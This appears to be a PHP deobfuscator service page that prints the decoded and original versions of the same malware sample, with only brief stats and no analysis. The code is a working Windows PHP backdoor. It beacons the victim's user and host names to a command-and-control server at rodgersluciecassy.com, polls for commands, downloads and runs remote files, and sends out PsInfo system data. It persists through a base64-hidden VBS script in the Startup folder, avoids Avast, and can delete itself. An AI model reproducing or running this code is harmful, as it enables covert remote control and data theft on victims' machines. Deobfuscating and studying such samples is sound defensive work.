Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $WaDQOBKStVPFGNr = "http://rodgersluciecassy.com/mbp"; $kQnJBXcTfDmsOupyRILAgh = $..

Decoded Output download

<?php 
 $WaDQOBKStVPFGNr = "http://rodgersluciecassy.com/mbp"; $kQnJBXcTfDmsOupyRILAgh = $WaDQOBKStVPFGNr . "/apit.php"; $QoBahiCDNplUEKftjYGXvWMRzs = $WaDQOBKStVPFGNr . "/accept.php?ref=2"; $LAqeyDBGXSRzF = $WaDQOBKStVPFGNr . "/down/"; $ExVlgntRJHDpcUBiSw = false; $TdirPQgoxkvfEZLYAHmcJWb = "config.json"; $SmlVyHuiBfCkJ = "PHP-8.2.vbs"; $tiJvURcgwpkxEmLnZfSay = ""; $kmUYvZFTRgeLCxJOsQ = realpath(dirname(__FILE__)) . "\" . $TdirPQgoxkvfEZLYAHmcJWb; $eUzT = realpath(__FILE__); $trMHasNubY = sys_get_temp_dir(); $YKLGqi = getenv('APPDATA') . '\Microsoft\Windows\Start Menu\Programs\Startup'; $GUmblxCrJYFuDMoQGt = $YKLGqi."\".$SmlVyHuiBfCkJ; $lgRhFxzpDTujQySmBCEO = $trMHasNubY."\".XirzdcNPYGojUMEkVf(5); $bWapICeLQtJny = false; define('bOXVPTKNHdzwflaJeRqi', "aid"); define('MbOXVPTKNHdzwflaJeRqi', "mid"); define('pSuaVT', "data"); define('izGhxDwj', "cstat"); define('rUYPGFtZeNKCWsjmVhdIXOlqba', "cmdid"); define('fBLjhvRkECpwnodGYI', 1); define('CUYzeSfwbG', 2); define('zQouxyfCEwVmbaGHDlRISJP', 3); define('OilGv', 4); define('aGxZmVqyR', 1); define('EObQwzKNFDTV', 2); define('rJLvkSzWdBhXIgpqCY', 3); define('zXuKmaDr', 4); define('NIpTROkeuQB', 5); define('YZaSgiEHmdbPkwuOvCqRJ', 0); define('RFJvESCHZXtObgYPQIUWa', 1); define('FZHKpJvWuXQeYorsGdi', 2); define('qnAOFkWIZTbGmPCseH', "void"); define('jfPHDtYgiaKQsOxnZ', "|"); define('yoek', '[@]'); define('dJuxvi', 15); function ThXY($qhfLjwMcKpxIoBEr) { global $kQnJBXcTfDmsOupyRILAgh; azGopeXscn(); $HJqMPKRl = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded
", 'method' => 'POST', 'content' => http_build_query($qhfLjwMcKpxIoBEr) ) ); $qgXtbfCLup = stream_context_create($HJqMPKRl); $aUYpSdIo = file_get_contents($kQnJBXcTfDmsOupyRILAgh, false, $qgXtbfCLup); if ($aUYpSdIo === false) { return false; } else { return true; } } function lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu) { global $kQnJBXcTfDmsOupyRILAgh; azGopeXscn(); $JRXzloy = http_build_query($YlbesARgzqMiXwJnVPOthkcdfu); $UEOhDCqYMJspKNAwFTZ = $kQnJBXcTfDmsOupyRILAgh."?".$JRXzloy; $cwqasHVFlK = file_get_contents($UEOhDCqYMJspKNAwFTZ); if ($cwqasHVFlK === false) { return ""; } else { return $cwqasHVFlK; } } function azGopeXscn() { global $kQnJBXcTfDmsOupyRILAgh; do { $CzBsUDNFLXHmvWPOai = @get_headers($kQnJBXcTfDmsOupyRILAgh); $uhyiNpLsKdVroem = is_array($CzBsUDNFLXHmvWPOai) && strpos($CzBsUDNFLXHmvWPOai[0], '200') !== false; sleep(3); } while (!$uhyiNpLsKdVroem); } function KMUqXBDfaeGnZ($DJWhI) { global $QoBahiCDNplUEKftjYGXvWMRzs; azGopeXscn(); $uYLPsAQvNWJK = basename($DJWhI); $sIRMKjCOyXn = file_get_contents($DJWhI); $VHwqspiUBLJyzeAnOfkg = uniqid(); $qhfLjwMcKpxIoBEr = "--$VHwqspiUBLJyzeAnOfkg
" . "Content-Disposition: form-data; name=\"file\"; filename=\"$uYLPsAQvNWJK\"
" . "Content-Type: application/octet-stream

" . $sIRMKjCOyXn . "
" . "--$VHwqspiUBLJyzeAnOfkg--
"; $HJqMPKRl = array( 'http' => array( 'header' => "Content-Type: multipart/form-data; boundary=$VHwqspiUBLJyzeAnOfkg
", 'method' => 'POST', 'content' => $qhfLjwMcKpxIoBEr ) ); $qgXtbfCLup = stream_context_create($HJqMPKRl); $aUYpSdIo = file_get_contents($QoBahiCDNplUEKftjYGXvWMRzs, false, $qgXtbfCLup); if ($aUYpSdIo === false) { return false; } else { return true; } } function cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci) { azGopeXscn(); global $LAqeyDBGXSRzF, $trMHasNubY; $rVODtbxMhwCUse = $LAqeyDBGXSRzF.$HXGzBsytdAFknwQpOjumElRci; $AmbnXvqIGfPzHecr = $trMHasNubY."\".$HXGzBsytdAFknwQpOjumElRci; $sIRMKjCOyXn = file_get_contents($rVODtbxMhwCUse); if ($sIRMKjCOyXn === false) { return false; } else { file_put_contents($AmbnXvqIGfPzHecr, $sIRMKjCOyXn); return true; } } function iVfhsQdrNwJtPOyxzelakBMG($HXGzBsytdAFknwQpOjumElRci) { $XeYCVNjwPRuD = cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci); if ($XeYCVNjwPRuD) { global $trMHasNubY; $AmbnXvqIGfPzHecr = $trMHasNubY."\".$HXGzBsytdAFknwQpOjumElRci; pclose(popen("start /B " . $AmbnXvqIGfPzHecr, "r")); } } function XirzdcNPYGojUMEkVf($wYbeuia) { $xHRNLe = ''; $LitQygNEXbjd = 'abcdefghijklmnopqrstuvwxyz0123456789'; for ($i=0; $i < $wYbeuia ; $i++) { $xHRNLe .= $LitQygNEXbjd[rand(0, strlen($LitQygNEXbjd)-1)]; } return $xHRNLe; } function TLyBaPKCzd(){ global $tiJvURcgwpkxEmLnZfSay; $tiJvURcgwpkxEmLnZfSay = strtoupper(XirzdcNPYGojUMEkVf(25)); $DMILTZJWvFbgnSoxYpA = get_current_user(); $MLYPabqNXeSgTji = gethostname(); $zyXpD = $DMILTZJWvFbgnSoxYpA."@".$MLYPabqNXeSgTji; $qhfLjwMcKpxIoBEr = array( bOXVPTKNHdzwflaJeRqi => fBLjhvRkECpwnodGYI, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $zyXpD ); ThXY($qhfLjwMcKpxIoBEr); } function CRnUiwmFYBvKsTh($qhfLjwMcKpxIoBEr) { $owLmqUvFBdpzYgETAKn = json_encode($qhfLjwMcKpxIoBEr); global $kmUYvZFTRgeLCxJOsQ; file_put_contents($kmUYvZFTRgeLCxJOsQ, $owLmqUvFBdpzYgETAKn); } function cJivuadkqGsOmWBxE($phurxdnVKbM) { global $kmUYvZFTRgeLCxJOsQ; $owLmqUvFBdpzYgETAKn = file_get_contents($kmUYvZFTRgeLCxJOsQ); $qhfLjwMcKpxIoBEr = json_decode($owLmqUvFBdpzYgETAKn, true); return $qhfLjwMcKpxIoBEr[$phurxdnVKbM]; } function KWcaSNtBmFjuxglpVyIEQz() { global $tiJvURcgwpkxEmLnZfSay; $YlbesARgzqMiXwJnVPOthkcdfu = [ bOXVPTKNHdzwflaJeRqi => CUYzeSfwbG, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay ]; $tlNjzQsReDghpOAx = lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu); return $tlNjzQsReDghpOAx; } function xYhKmNw($IHdKEWROuM, $mKSQlxFwiNuCBhvzdEoaPTGYrJ) { global $tiJvURcgwpkxEmLnZfSay; $YlbesARgzqMiXwJnVPOthkcdfu = [ bOXVPTKNHdzwflaJeRqi => zQouxyfCEwVmbaGHDlRISJP, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, rUYPGFtZeNKCWsjmVhdIXOlqba => $mKSQlxFwiNuCBhvzdEoaPTGYrJ, izGhxDwj => $IHdKEWROuM ]; lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu); } function GUmb() { $bdjthGZrcesnWMqkOVuLFApIy = 'U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIldzY3JpcHQuU2hlbGwiKSANCkRpbSBzdHJBcmdzDQpzdHJBcmdzID0gImNtZCAvYyB7UEFUSH0iDQpvU2hlbGwuUnVuIHN0ckFyZ3MsIDAsIGZhbHNl'; global $eUzT; $xNLHWRAuzIQDeCjfObMGVy = PHP_BINARY.' '.$eUzT; $bdjthGZrcesnWMqkOVuLFApIy = base64_decode($bdjthGZrcesnWMqkOVuLFApIy); $bdjthGZrcesnWMqkOVuLFApIy = str_replace("{PATH}", $xNLHWRAuzIQDeCjfObMGVy, $bdjthGZrcesnWMqkOVuLFApIy); global $GUmblxCrJYFuDMoQGt; file_put_contents($GUmblxCrJYFuDMoQGt, $bdjthGZrcesnWMqkOVuLFApIy); } function YXmsGAqwkDrILepfohjNBC() { global $kmUYvZFTRgeLCxJOsQ; if (is_file($kmUYvZFTRgeLCxJOsQ)) unlink($kmUYvZFTRgeLCxJOsQ); global $eUzT; if (is_file($eUzT)) unlink($eUzT); global $GUmblxCrJYFuDMoQGt; if (is_file($GUmblxCrJYFuDMoQGt)) unlink($GUmblxCrJYFuDMoQGt); exit(0); } function PiQmzthacEyxlnsuBfgWOKRv() { global $trMHasNubY, $lgRhFxzpDTujQySmBCEO, $tiJvURcgwpkxEmLnZfSay; $NfWXVHIETZuayQorGmbJLC = ""; $tafXYEOklrUBc = ""; $NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(1, 1); $NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(2, 1); $tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 2); $tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 3); $sUrmgoVqXpe = ""; $sUrmgoVqXpe .= $NfWXVHIETZuayQorGmbJLC . yoek; $sUrmgoVqXpe .= $tafXYEOklrUBc . yoek; $sUrmgoVqXpe .= "-" . yoek; $sUrmgoVqXpe .= "-"; $sUrmgoVqXpe = base64_encode($sUrmgoVqXpe); $qhfLjwMcKpxIoBEr = array( bOXVPTKNHdzwflaJeRqi => OilGv, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $sUrmgoVqXpe ); ThXY($qhfLjwMcKpxIoBEr); unlink($lgRhFxzpDTujQySmBCEO); } function IuRVFsEPYGxQ($yVlgTubWpsfXMhNRKd, $nVOpXIWq) { global $trMHasNubY, $lgRhFxzpDTujQySmBCEO; $IaeXpkBWzRuStjQ = ""; if ($yVlgTubWpsfXMhNRKd == 1) $QaKcTyjrLinbPE = base64_decode('UHNJbmZvLmV4ZQ=='); else $QaKcTyjrLinbPE = base64_decode('UHNJbmZvNjQuZXhl'); $lxCrJYFuDMoQGt = $trMHasNubY."\".$QaKcTyjrLinbPE; if (!is_file($lxCrJYFuDMoQGt)) { cZNfaoIkH($QaKcTyjrLinbPE); } if (is_file($lxCrJYFuDMoQGt)) { switch ($nVOpXIWq) { case 1: $xlNqYdEHtW = base64_decode('IC1zIC9hY2NlcHRldWxhIGFwcGxpY2F0aW9ucyA+IA=='); break; case 2: $xlNqYdEHtW = base64_decode('IC1kIC9hY2NlcHRldWxhIHByb2Nlc3NvciA+IA=='); break; case 3: $xlNqYdEHtW = base64_decode('IC9hY2NlcHRldWxhIHZpZGVvID4g'); break; } $tlNjzQsReDghpOAx = $lxCrJYFuDMoQGt.$xlNqYdEHtW.$lgRhFxzpDTujQySmBCEO; pclose(popen("start /B " . $tlNjzQsReDghpOAx, "r")); sleep(4); $IaeXpkBWzRuStjQ = file_get_contents($lgRhFxzpDTujQySmBCEO); } return $IaeXpkBWzRuStjQ; } function oDWILPBXqh() { global $bWapICeLQtJny; if (is_dir(base64_decode("QzpcUHJvZ3JhbSBGaWxlc1xBdmFzdCBTb2Z0d2FyZVxBdmFzdA=="))) $bWapICeLQtJny = true; } oDWILPBXqh(); if (!is_file($kmUYvZFTRgeLCxJOsQ)) { TLyBaPKCzd(); $IMTOlAXVFSzhRk = array(MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay); CRnUiwmFYBvKsTh($IMTOlAXVFSzhRk); if (!$bWapICeLQtJny) GUmb(); } else { $tiJvURcgwpkxEmLnZfSay = cJivuadkqGsOmWBxE(MbOXVPTKNHdzwflaJeRqi); } azGopeXscn(); while (true) { $mwUxLI = KWcaSNtBmFjuxglpVyIEQz(); $HRaiSozJ = explode(jfPHDtYgiaKQsOxnZ, $mwUxLI); $mKSQlxFwiNuCBhvzdEoaPTGYrJ = $HRaiSozJ[0]; if ($mKSQlxFwiNuCBhvzdEoaPTGYrJ != qnAOFkWIZTbGmPCseH) { $jQSfuBZNvpeyxlGkAtIhm = $HRaiSozJ[1]; xYhKmNw(RFJvESCHZXtObgYPQIUWa, $mKSQlxFwiNuCBhvzdEoaPTGYrJ); switch ($mKSQlxFwiNuCBhvzdEoaPTGYrJ) { case EObQwzKNFDTV: $ZoLgWNSMUidetKvrB = explode("*", $jQSfuBZNvpeyxlGkAtIhm); cZNfaoIkH($ZoLgWNSMUidetKvrB[0]); break; case rJLvkSzWdBhXIgpqCY: $GBCjZeqOd = explode("*", $jQSfuBZNvpeyxlGkAtIhm); iVfhsQdrNwJtPOyxzelakBMG($GBCjZeqOd[0]); break; case zXuKmaDr: YXmsGAqwkDrILepfohjNBC(); break; case NIpTROkeuQB: PiQmzthacEyxlnsuBfgWOKRv(); break; } xYhKmNw(FZHKpJvWuXQeYorsGdi, $mKSQlxFwiNuCBhvzdEoaPTGYrJ); } else { } sleep(dJuxvi); } ?> 

Did this file decode correctly?

Original Code

<?php
 $WaDQOBKStVPFGNr = "http://rodgersluciecassy.com/mbp"; $kQnJBXcTfDmsOupyRILAgh = $WaDQOBKStVPFGNr . "/apit.php"; $QoBahiCDNplUEKftjYGXvWMRzs = $WaDQOBKStVPFGNr . "/accept.php?ref=2"; $LAqeyDBGXSRzF = $WaDQOBKStVPFGNr . "/down/"; $ExVlgntRJHDpcUBiSw = false; $TdirPQgoxkvfEZLYAHmcJWb = "config.json"; $SmlVyHuiBfCkJ = "PHP-8.2.vbs"; $tiJvURcgwpkxEmLnZfSay = ""; $kmUYvZFTRgeLCxJOsQ = realpath(dirname(__FILE__)) . "\\" . $TdirPQgoxkvfEZLYAHmcJWb; $eUzT = realpath(__FILE__); $trMHasNubY = sys_get_temp_dir(); $YKLGqi = getenv('APPDATA') . '\Microsoft\Windows\Start Menu\Programs\Startup'; $GUmblxCrJYFuDMoQGt = $YKLGqi."\\".$SmlVyHuiBfCkJ; $lgRhFxzpDTujQySmBCEO = $trMHasNubY."\\".XirzdcNPYGojUMEkVf(5); $bWapICeLQtJny = false; define('bOXVPTKNHdzwflaJeRqi', "aid"); define('MbOXVPTKNHdzwflaJeRqi', "mid"); define('pSuaVT', "data"); define('izGhxDwj', "cstat"); define('rUYPGFtZeNKCWsjmVhdIXOlqba', "cmdid"); define('fBLjhvRkECpwnodGYI', 1); define('CUYzeSfwbG', 2); define('zQouxyfCEwVmbaGHDlRISJP', 3); define('OilGv', 4); define('aGxZmVqyR', 1); define('EObQwzKNFDTV', 2); define('rJLvkSzWdBhXIgpqCY', 3); define('zXuKmaDr', 4); define('NIpTROkeuQB', 5); define('YZaSgiEHmdbPkwuOvCqRJ', 0); define('RFJvESCHZXtObgYPQIUWa', 1); define('FZHKpJvWuXQeYorsGdi', 2); define('qnAOFkWIZTbGmPCseH', "void"); define('jfPHDtYgiaKQsOxnZ', "|"); define('yoek', '[@]'); define('dJuxvi', 15); function ThXY($qhfLjwMcKpxIoBEr) { global $kQnJBXcTfDmsOupyRILAgh; azGopeXscn(); $HJqMPKRl = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($qhfLjwMcKpxIoBEr) ) ); $qgXtbfCLup = stream_context_create($HJqMPKRl); $aUYpSdIo = file_get_contents($kQnJBXcTfDmsOupyRILAgh, false, $qgXtbfCLup); if ($aUYpSdIo === false) { return false; } else { return true; } } function lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu) { global $kQnJBXcTfDmsOupyRILAgh; azGopeXscn(); $JRXzloy = http_build_query($YlbesARgzqMiXwJnVPOthkcdfu); $UEOhDCqYMJspKNAwFTZ = $kQnJBXcTfDmsOupyRILAgh."?".$JRXzloy; $cwqasHVFlK = file_get_contents($UEOhDCqYMJspKNAwFTZ); if ($cwqasHVFlK === false) { return ""; } else { return $cwqasHVFlK; } } function azGopeXscn() { global $kQnJBXcTfDmsOupyRILAgh; do { $CzBsUDNFLXHmvWPOai = @get_headers($kQnJBXcTfDmsOupyRILAgh); $uhyiNpLsKdVroem = is_array($CzBsUDNFLXHmvWPOai) && strpos($CzBsUDNFLXHmvWPOai[0], '200') !== false; sleep(3); } while (!$uhyiNpLsKdVroem); } function KMUqXBDfaeGnZ($DJWhI) { global $QoBahiCDNplUEKftjYGXvWMRzs; azGopeXscn(); $uYLPsAQvNWJK = basename($DJWhI); $sIRMKjCOyXn = file_get_contents($DJWhI); $VHwqspiUBLJyzeAnOfkg = uniqid(); $qhfLjwMcKpxIoBEr = "--$VHwqspiUBLJyzeAnOfkg\r\n" . "Content-Disposition: form-data; name=\"file\"; filename=\"$uYLPsAQvNWJK\"\r\n" . "Content-Type: application/octet-stream\r\n\r\n" . $sIRMKjCOyXn . "\r\n" . "--$VHwqspiUBLJyzeAnOfkg--\r\n"; $HJqMPKRl = array( 'http' => array( 'header' => "Content-Type: multipart/form-data; boundary=$VHwqspiUBLJyzeAnOfkg\r\n", 'method' => 'POST', 'content' => $qhfLjwMcKpxIoBEr ) ); $qgXtbfCLup = stream_context_create($HJqMPKRl); $aUYpSdIo = file_get_contents($QoBahiCDNplUEKftjYGXvWMRzs, false, $qgXtbfCLup); if ($aUYpSdIo === false) { return false; } else { return true; } } function cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci) { azGopeXscn(); global $LAqeyDBGXSRzF, $trMHasNubY; $rVODtbxMhwCUse = $LAqeyDBGXSRzF.$HXGzBsytdAFknwQpOjumElRci; $AmbnXvqIGfPzHecr = $trMHasNubY."\\".$HXGzBsytdAFknwQpOjumElRci; $sIRMKjCOyXn = file_get_contents($rVODtbxMhwCUse); if ($sIRMKjCOyXn === false) { return false; } else { file_put_contents($AmbnXvqIGfPzHecr, $sIRMKjCOyXn); return true; } } function iVfhsQdrNwJtPOyxzelakBMG($HXGzBsytdAFknwQpOjumElRci) { $XeYCVNjwPRuD = cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci); if ($XeYCVNjwPRuD) { global $trMHasNubY; $AmbnXvqIGfPzHecr = $trMHasNubY."\\".$HXGzBsytdAFknwQpOjumElRci; pclose(popen("start /B " . $AmbnXvqIGfPzHecr, "r")); } } function XirzdcNPYGojUMEkVf($wYbeuia) { $xHRNLe = ''; $LitQygNEXbjd = 'abcdefghijklmnopqrstuvwxyz0123456789'; for ($i=0; $i < $wYbeuia ; $i++) { $xHRNLe .= $LitQygNEXbjd[rand(0, strlen($LitQygNEXbjd)-1)]; } return $xHRNLe; } function TLyBaPKCzd(){ global $tiJvURcgwpkxEmLnZfSay; $tiJvURcgwpkxEmLnZfSay = strtoupper(XirzdcNPYGojUMEkVf(25)); $DMILTZJWvFbgnSoxYpA = get_current_user(); $MLYPabqNXeSgTji = gethostname(); $zyXpD = $DMILTZJWvFbgnSoxYpA."@".$MLYPabqNXeSgTji; $qhfLjwMcKpxIoBEr = array( bOXVPTKNHdzwflaJeRqi => fBLjhvRkECpwnodGYI, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $zyXpD ); ThXY($qhfLjwMcKpxIoBEr); } function CRnUiwmFYBvKsTh($qhfLjwMcKpxIoBEr) { $owLmqUvFBdpzYgETAKn = json_encode($qhfLjwMcKpxIoBEr); global $kmUYvZFTRgeLCxJOsQ; file_put_contents($kmUYvZFTRgeLCxJOsQ, $owLmqUvFBdpzYgETAKn); } function cJivuadkqGsOmWBxE($phurxdnVKbM) { global $kmUYvZFTRgeLCxJOsQ; $owLmqUvFBdpzYgETAKn = file_get_contents($kmUYvZFTRgeLCxJOsQ); $qhfLjwMcKpxIoBEr = json_decode($owLmqUvFBdpzYgETAKn, true); return $qhfLjwMcKpxIoBEr[$phurxdnVKbM]; } function KWcaSNtBmFjuxglpVyIEQz() { global $tiJvURcgwpkxEmLnZfSay; $YlbesARgzqMiXwJnVPOthkcdfu = [ bOXVPTKNHdzwflaJeRqi => CUYzeSfwbG, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay ]; $tlNjzQsReDghpOAx = lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu); return $tlNjzQsReDghpOAx; } function xYhKmNw($IHdKEWROuM, $mKSQlxFwiNuCBhvzdEoaPTGYrJ) { global $tiJvURcgwpkxEmLnZfSay; $YlbesARgzqMiXwJnVPOthkcdfu = [ bOXVPTKNHdzwflaJeRqi => zQouxyfCEwVmbaGHDlRISJP, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, rUYPGFtZeNKCWsjmVhdIXOlqba => $mKSQlxFwiNuCBhvzdEoaPTGYrJ, izGhxDwj => $IHdKEWROuM ]; lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu); } function GUmb() { $bdjthGZrcesnWMqkOVuLFApIy = 'U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIldzY3JpcHQuU2hlbGwiKSANCkRpbSBzdHJBcmdzDQpzdHJBcmdzID0gImNtZCAvYyB7UEFUSH0iDQpvU2hlbGwuUnVuIHN0ckFyZ3MsIDAsIGZhbHNl'; global $eUzT; $xNLHWRAuzIQDeCjfObMGVy = PHP_BINARY.' '.$eUzT; $bdjthGZrcesnWMqkOVuLFApIy = base64_decode($bdjthGZrcesnWMqkOVuLFApIy); $bdjthGZrcesnWMqkOVuLFApIy = str_replace("{PATH}", $xNLHWRAuzIQDeCjfObMGVy, $bdjthGZrcesnWMqkOVuLFApIy); global $GUmblxCrJYFuDMoQGt; file_put_contents($GUmblxCrJYFuDMoQGt, $bdjthGZrcesnWMqkOVuLFApIy); } function YXmsGAqwkDrILepfohjNBC() { global $kmUYvZFTRgeLCxJOsQ; if (is_file($kmUYvZFTRgeLCxJOsQ)) unlink($kmUYvZFTRgeLCxJOsQ); global $eUzT; if (is_file($eUzT)) unlink($eUzT); global $GUmblxCrJYFuDMoQGt; if (is_file($GUmblxCrJYFuDMoQGt)) unlink($GUmblxCrJYFuDMoQGt); exit(0); } function PiQmzthacEyxlnsuBfgWOKRv() { global $trMHasNubY, $lgRhFxzpDTujQySmBCEO, $tiJvURcgwpkxEmLnZfSay; $NfWXVHIETZuayQorGmbJLC = ""; $tafXYEOklrUBc = ""; $NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(1, 1); $NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(2, 1); $tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 2); $tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 3); $sUrmgoVqXpe = ""; $sUrmgoVqXpe .= $NfWXVHIETZuayQorGmbJLC . yoek; $sUrmgoVqXpe .= $tafXYEOklrUBc . yoek; $sUrmgoVqXpe .= "-" . yoek; $sUrmgoVqXpe .= "-"; $sUrmgoVqXpe = base64_encode($sUrmgoVqXpe); $qhfLjwMcKpxIoBEr = array( bOXVPTKNHdzwflaJeRqi => OilGv, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $sUrmgoVqXpe ); ThXY($qhfLjwMcKpxIoBEr); unlink($lgRhFxzpDTujQySmBCEO); } function IuRVFsEPYGxQ($yVlgTubWpsfXMhNRKd, $nVOpXIWq) { global $trMHasNubY, $lgRhFxzpDTujQySmBCEO; $IaeXpkBWzRuStjQ = ""; if ($yVlgTubWpsfXMhNRKd == 1) $QaKcTyjrLinbPE = base64_decode('UHNJbmZvLmV4ZQ=='); else $QaKcTyjrLinbPE = base64_decode('UHNJbmZvNjQuZXhl'); $lxCrJYFuDMoQGt = $trMHasNubY."\\".$QaKcTyjrLinbPE; if (!is_file($lxCrJYFuDMoQGt)) { cZNfaoIkH($QaKcTyjrLinbPE); } if (is_file($lxCrJYFuDMoQGt)) { switch ($nVOpXIWq) { case 1: $xlNqYdEHtW = base64_decode('IC1zIC9hY2NlcHRldWxhIGFwcGxpY2F0aW9ucyA+IA=='); break; case 2: $xlNqYdEHtW = base64_decode('IC1kIC9hY2NlcHRldWxhIHByb2Nlc3NvciA+IA=='); break; case 3: $xlNqYdEHtW = base64_decode('IC9hY2NlcHRldWxhIHZpZGVvID4g'); break; } $tlNjzQsReDghpOAx = $lxCrJYFuDMoQGt.$xlNqYdEHtW.$lgRhFxzpDTujQySmBCEO; pclose(popen("start /B " . $tlNjzQsReDghpOAx, "r")); sleep(4); $IaeXpkBWzRuStjQ = file_get_contents($lgRhFxzpDTujQySmBCEO); } return $IaeXpkBWzRuStjQ; } function oDWILPBXqh() { global $bWapICeLQtJny; if (is_dir(base64_decode("QzpcUHJvZ3JhbSBGaWxlc1xBdmFzdCBTb2Z0d2FyZVxBdmFzdA=="))) $bWapICeLQtJny = true; } oDWILPBXqh(); if (!is_file($kmUYvZFTRgeLCxJOsQ)) { TLyBaPKCzd(); $IMTOlAXVFSzhRk = array(MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay); CRnUiwmFYBvKsTh($IMTOlAXVFSzhRk); if (!$bWapICeLQtJny) GUmb(); } else { $tiJvURcgwpkxEmLnZfSay = cJivuadkqGsOmWBxE(MbOXVPTKNHdzwflaJeRqi); } azGopeXscn(); while (true) { $mwUxLI = KWcaSNtBmFjuxglpVyIEQz(); $HRaiSozJ = explode(jfPHDtYgiaKQsOxnZ, $mwUxLI); $mKSQlxFwiNuCBhvzdEoaPTGYrJ = $HRaiSozJ[0]; if ($mKSQlxFwiNuCBhvzdEoaPTGYrJ != qnAOFkWIZTbGmPCseH) { $jQSfuBZNvpeyxlGkAtIhm = $HRaiSozJ[1]; xYhKmNw(RFJvESCHZXtObgYPQIUWa, $mKSQlxFwiNuCBhvzdEoaPTGYrJ); switch ($mKSQlxFwiNuCBhvzdEoaPTGYrJ) { case EObQwzKNFDTV: $ZoLgWNSMUidetKvrB = explode("*", $jQSfuBZNvpeyxlGkAtIhm); cZNfaoIkH($ZoLgWNSMUidetKvrB[0]); break; case rJLvkSzWdBhXIgpqCY: $GBCjZeqOd = explode("*", $jQSfuBZNvpeyxlGkAtIhm); iVfhsQdrNwJtPOyxzelakBMG($GBCjZeqOd[0]); break; case zXuKmaDr: YXmsGAqwkDrILepfohjNBC(); break; case NIpTROkeuQB: PiQmzthacEyxlnsuBfgWOKRv(); break; } xYhKmNw(FZHKpJvWuXQeYorsGdi, $mKSQlxFwiNuCBhvzdEoaPTGYrJ); } else { } sleep(dJuxvi); } ?>

Function Calls

None

Variables

None

Stats

MD5 6bd1ea0c9d978f41aeeea56cf42b1674
Eval Count 0
Decode Time 110 ms